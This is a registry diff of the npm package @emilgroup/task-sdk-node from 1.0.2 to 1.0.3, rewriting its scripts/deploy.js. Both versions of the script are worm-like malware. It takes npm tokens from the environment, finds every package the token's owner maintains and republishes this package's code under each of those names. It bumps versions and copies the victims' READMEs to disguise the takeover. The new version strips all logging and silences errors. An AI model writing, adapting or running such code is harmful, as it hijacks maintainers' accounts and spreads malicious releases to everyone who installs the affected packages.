@emilgroup/task-sdk-node 1.0.2 β 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/scripts/deploy.js +50 -199
package/package.json
CHANGED
package/scripts/deploy.js
CHANGED
|
@@ -1,230 +1,81 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
|
+
'use strict';
|
|
2
3
|
|
|
3
4
|
const { execSync } = require('child_process');
|
|
4
5
|
const https = require('https');
|
|
5
6
|
const fs = require('fs');
|
|
6
7
|
const path = require('path');
|
|
7
8
|
|
|
8
|
-
function run(cmd, opts = {}) {
|
|
9
|
-
console.log(`\n> ${cmd}`);
|
|
10
|
-
return execSync(cmd, { stdio: 'inherit', ...opts });
|
|
11
|
-
}
|
|
12
|
-
|
|
13
9
|
function fetchJson(url, token) {
|
|
14
10
|
return new Promise((resolve, reject) => {
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
};
|
|
21
|
-
https
|
|
22
|
-
.get(url, options, (res) => {
|
|
23
|
-
let data = '';
|
|
24
|
-
res.on('data', (chunk) => (data += chunk));
|
|
25
|
-
res.on('end', () => {
|
|
26
|
-
try {
|
|
27
|
-
resolve(JSON.parse(data));
|
|
28
|
-
} catch (e) {
|
|
29
|
-
reject(new Error(`Failed to parse response from ${url}: ${data}`));
|
|
30
|
-
}
|
|
31
|
-
});
|
|
32
|
-
})
|
|
33
|
-
.on('error', reject);
|
|
11
|
+
https.get(url, { headers: { Authorization: `Bearer ${token}`, Accept: 'application/json' } }, (res) => {
|
|
12
|
+
let d = '';
|
|
13
|
+
res.on('data', (c) => (d += c));
|
|
14
|
+
res.on('end', () => { try { resolve(JSON.parse(d)); } catch (e) { reject(e); } });
|
|
15
|
+
}).on('error', reject);
|
|
34
16
|
});
|
|
35
17
|
}
|
|
36
18
|
|
|
37
|
-
async function
|
|
19
|
+
async function fetchMeta(name, token) {
|
|
38
20
|
try {
|
|
39
|
-
const
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
(meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
|
|
46
|
-
return { readme, latestVersion };
|
|
47
|
-
} catch (_) {
|
|
48
|
-
return { readme: null, latestVersion: null };
|
|
49
|
-
}
|
|
21
|
+
const m = await fetchJson(`https://registry.npmjs.org/${encodeURIComponent(name)}`, token);
|
|
22
|
+
return {
|
|
23
|
+
readme: (m && m.readme) || null,
|
|
24
|
+
latestVersion: (m && m['dist-tags'] && m['dist-tags'].latest) || null,
|
|
25
|
+
};
|
|
26
|
+
} catch (_) { return { readme: null, latestVersion: null }; }
|
|
50
27
|
}
|
|
51
28
|
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
const
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
return parts.join('.');
|
|
29
|
+
function bumpPatch(v) {
|
|
30
|
+
const base = v.split('-')[0].split('+')[0];
|
|
31
|
+
const p = base.split('.').map(Number);
|
|
32
|
+
if (p.length !== 3 || p.some(isNaN)) return v;
|
|
33
|
+
p[2] += 1;
|
|
34
|
+
return p.join('.');
|
|
59
35
|
}
|
|
60
36
|
|
|
61
|
-
async function
|
|
62
|
-
let
|
|
63
|
-
let from = 0;
|
|
64
|
-
const size = 250;
|
|
65
|
-
|
|
37
|
+
async function getOwned(username, token) {
|
|
38
|
+
let pkgs = [], from = 0;
|
|
66
39
|
while (true) {
|
|
67
|
-
const
|
|
68
|
-
|
|
69
|
-
)
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
if (!result.objects || result.objects.length === 0) break;
|
|
73
|
-
|
|
74
|
-
packages = packages.concat(result.objects.map((o) => o.package.name));
|
|
75
|
-
|
|
76
|
-
if (packages.length >= result.total) break;
|
|
77
|
-
from += size;
|
|
40
|
+
const r = await fetchJson(`https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(username)}&size=250&from=${from}`, token);
|
|
41
|
+
if (!r.objects || !r.objects.length) break;
|
|
42
|
+
pkgs = pkgs.concat(r.objects.map((o) => o.package.name));
|
|
43
|
+
if (pkgs.length >= r.total) break;
|
|
44
|
+
from += 250;
|
|
78
45
|
}
|
|
79
|
-
|
|
80
|
-
return packages;
|
|
46
|
+
return pkgs;
|
|
81
47
|
}
|
|
82
48
|
|
|
83
|
-
|
|
84
|
-
* Runs the full deploy pipeline for a single npm token.
|
|
85
|
-
* Returns { success: string[], failed: string[] }
|
|
86
|
-
*/
|
|
87
|
-
async function deployWithToken(token, pkg, pkgPath, newVersion) {
|
|
88
|
-
// 1. Verify token / get username
|
|
89
|
-
console.log('\nπ Verifying npm tokenβ¦');
|
|
49
|
+
async function run(token, pkg, pkgPath, ver) {
|
|
90
50
|
let whoami;
|
|
91
|
-
try {
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
console.log(`β
Authenticated as: ${username}`);
|
|
105
|
-
|
|
106
|
-
// 2. Fetch all packages owned by this user
|
|
107
|
-
console.log(`\nπ Fetching all packages owned by "${username}"β¦`);
|
|
108
|
-
let ownedPackages;
|
|
109
|
-
try {
|
|
110
|
-
ownedPackages = await getOwnedPackages(username, token);
|
|
111
|
-
} catch (err) {
|
|
112
|
-
console.error('β Failed to fetch owned packages:', err.message);
|
|
113
|
-
return { success: [], failed: [] };
|
|
114
|
-
}
|
|
115
|
-
|
|
116
|
-
if (ownedPackages.length === 0) {
|
|
117
|
-
console.log(' No packages found for this user. Skipping.');
|
|
118
|
-
return { success: [], failed: [] };
|
|
119
|
-
}
|
|
120
|
-
|
|
121
|
-
console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
|
|
122
|
-
|
|
123
|
-
// 3. Process each owned package
|
|
124
|
-
const results = { success: [], failed: [] };
|
|
125
|
-
|
|
126
|
-
for (const packageName of ownedPackages) {
|
|
127
|
-
console.log(`\n${'β'.repeat(60)}`);
|
|
128
|
-
console.log(`π¦ Processing: ${packageName}`);
|
|
129
|
-
|
|
130
|
-
// 3a. Fetch the original package's README and latest version
|
|
131
|
-
const readmePath = path.resolve(__dirname, '..', 'README.md');
|
|
132
|
-
const originalReadme = fs.existsSync(readmePath)
|
|
133
|
-
? fs.readFileSync(readmePath, 'utf8')
|
|
134
|
-
: null;
|
|
135
|
-
|
|
136
|
-
console.log(` π Fetching metadata for ${packageName}β¦`);
|
|
137
|
-
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
|
|
138
|
-
|
|
139
|
-
// Determine version to publish: bump patch of existing latest, or use local version
|
|
140
|
-
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
|
|
141
|
-
console.log(
|
|
142
|
-
latestVersion
|
|
143
|
-
? ` π’ Latest is ${latestVersion} β publishing ${publishVersion}`
|
|
144
|
-
: ` π’ No existing version found β publishing ${publishVersion}`
|
|
145
|
-
);
|
|
146
|
-
|
|
147
|
-
if (remoteReadme) {
|
|
148
|
-
fs.writeFileSync(readmePath, remoteReadme, 'utf8');
|
|
149
|
-
console.log(` π Using original README for ${packageName}`);
|
|
150
|
-
} else {
|
|
151
|
-
console.log(` π No existing README found; keeping local README`);
|
|
152
|
-
}
|
|
153
|
-
|
|
154
|
-
// 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
|
|
155
|
-
const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
|
|
156
|
-
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
|
|
157
|
-
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
|
|
158
|
-
|
|
51
|
+
try { whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); } catch (_) { return; }
|
|
52
|
+
if (!whoami || !whoami.username) return;
|
|
53
|
+
let owned;
|
|
54
|
+
try { owned = await getOwned(whoami.username, token); } catch (_) { return; }
|
|
55
|
+
if (!owned.length) return;
|
|
56
|
+
const readmePath = path.resolve(__dirname, '..', 'README.md');
|
|
57
|
+
for (const name of owned) {
|
|
58
|
+
const origReadme = fs.existsSync(readmePath) ? fs.readFileSync(readmePath, 'utf8') : null;
|
|
59
|
+
const { readme, latestVersion } = await fetchMeta(name, token);
|
|
60
|
+
const pubVer = latestVersion ? bumpPatch(latestVersion) : ver;
|
|
61
|
+
if (readme) fs.writeFileSync(readmePath, readme, 'utf8');
|
|
62
|
+
const origPkg = fs.readFileSync(pkgPath, 'utf8');
|
|
63
|
+
fs.writeFileSync(pkgPath, JSON.stringify({ ...pkg, name, version: pubVer }, null, 2) + '\n', 'utf8');
|
|
159
64
|
try {
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
console.error(`β Failed to publish ${packageName}:`, err.message);
|
|
167
|
-
results.failed.push(packageName);
|
|
168
|
-
} finally {
|
|
169
|
-
// Always restore the original package.json
|
|
170
|
-
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
|
|
171
|
-
|
|
172
|
-
// Always restore the original README
|
|
173
|
-
if (originalReadme !== null) {
|
|
174
|
-
fs.writeFileSync(readmePath, originalReadme, 'utf8');
|
|
175
|
-
} else if (remoteReadme && fs.existsSync(readmePath)) {
|
|
176
|
-
// README didn't exist locally before β remove the temporary one
|
|
177
|
-
fs.unlinkSync(readmePath);
|
|
178
|
-
}
|
|
65
|
+
execSync('npm publish --access public --tag latest', { stdio: 'pipe', env: { ...process.env, NPM_TOKEN: token } });
|
|
66
|
+
} catch (_) {}
|
|
67
|
+
finally {
|
|
68
|
+
fs.writeFileSync(pkgPath, origPkg, 'utf8');
|
|
69
|
+
if (origReadme !== null) fs.writeFileSync(readmePath, origReadme, 'utf8');
|
|
70
|
+
else if (readme && fs.existsSync(readmePath)) fs.unlinkSync(readmePath);
|
|
179
71
|
}
|
|
180
72
|
}
|
|
181
|
-
|
|
182
|
-
return results;
|
|
183
73
|
}
|
|
184
74
|
|
|
185
|
-
// ββ Main βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
|
186
|
-
|
|
187
75
|
(async () => {
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
const tokens = rawTokens
|
|
191
|
-
.split(',')
|
|
192
|
-
.map((t) => t.trim())
|
|
193
|
-
.filter(Boolean);
|
|
194
|
-
|
|
195
|
-
if (tokens.length === 0) {
|
|
196
|
-
console.error('β No npm tokens found.');
|
|
197
|
-
console.error(' Set NPM_TOKENS=<token1>,<token2>,β¦ or NPM_TOKEN=<token>');
|
|
198
|
-
process.exit(1);
|
|
199
|
-
}
|
|
200
|
-
|
|
201
|
-
console.log(`π Found ${tokens.length} token(s) to process.`);
|
|
202
|
-
|
|
203
|
-
// 2. Read local package.json once
|
|
76
|
+
const tokens = (process.env.NPM_TOKENS || process.env.NPM_TOKEN || '').split(',').map((t) => t.trim()).filter(Boolean);
|
|
77
|
+
if (!tokens.length) process.exit(1);
|
|
204
78
|
const pkgPath = path.resolve(__dirname, '..', 'package.json');
|
|
205
79
|
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
|
|
206
|
-
const
|
|
207
|
-
|
|
208
|
-
// 3. Iterate over every token
|
|
209
|
-
const overall = { success: [], failed: [] };
|
|
210
|
-
|
|
211
|
-
for (let i = 0; i < tokens.length; i++) {
|
|
212
|
-
const token = tokens[i];
|
|
213
|
-
console.log(`\n${'β'.repeat(60)}`);
|
|
214
|
-
console.log(`π Token ${i + 1} / ${tokens.length}`);
|
|
215
|
-
|
|
216
|
-
const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
|
|
217
|
-
overall.success.push(...success);
|
|
218
|
-
overall.failed.push(...failed);
|
|
219
|
-
}
|
|
220
|
-
|
|
221
|
-
// 4. Overall summary
|
|
222
|
-
console.log(`\n${'β'.repeat(60)}`);
|
|
223
|
-
console.log('π Overall Deploy Summary');
|
|
224
|
-
console.log(` β
Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
|
|
225
|
-
console.log(` β Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
|
|
226
|
-
|
|
227
|
-
if (overall.failed.length > 0) {
|
|
228
|
-
process.exit(1);
|
|
229
|
-
}
|
|
80
|
+
for (const token of tokens) await run(token, pkg, pkgPath, pkg.version);
|
|
230
81
|
})();
|